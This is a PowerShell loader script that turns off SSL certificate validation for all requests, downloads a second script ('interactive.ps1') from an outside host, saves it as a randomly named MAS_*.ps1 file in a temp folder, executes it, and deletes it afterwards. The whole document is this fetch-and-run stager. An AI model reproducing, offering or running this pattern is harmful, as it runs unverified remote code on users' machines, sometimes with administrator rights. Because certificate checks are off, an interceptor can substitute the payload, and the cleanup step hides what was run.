# Version 1.6.0 $ErrorActionPreference = "Stop" [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12 # Skip SSL certificate validation for self-signed certificates add-type @" using System.Net; using System.Security.Cryptography.X509Certificates; public class TrustAllCertsPolicy : ICertificatePolicy { public bool CheckValidationResult( ServicePoint srvPoint, X509Certificate certificate, WebRequest request, int certificateProblem) { return true; } } "@ [System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy # Download interactive PowerShell script (URL replaced by server on startup) $DownloadURL = 'https://2025.win2.asia/interactive.ps1' Write-Host "Connecting to server..." -ForegroundColor Cyan try { $rand = Get-Random -Maximum 99999999 $isAdmin = [bool]([Security.Principal.WindowsIdentity]::GetCurrent().Groups -match 'S-1-5-32-544') $FilePath = if ($isAdmin) { "$env:SystemRoot\Temp\MAS_$rand.ps1" } else { "$env:TEMP\MAS_$rand.ps1" } Write-Host "Downloading script..." -ForegroundColor Yellow Invoke-WebRequest -Uri $DownloadURL -OutFile $FilePath -UseBasicParsing -ErrorAction Stop Write-Host "Download complete, executing..." -ForegroundColor Green Write-Host "" # Execute in current window & $FilePath # Cleanup temp file if (Test-Path $FilePath) { Remove-Item $FilePath -Force -ErrorAction SilentlyContinue } } catch { Write-Host "Error: $_" -ForegroundColor Red Write-Host "" Write-Host "Press any key to exit..." -ForegroundColor Gray $null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown") }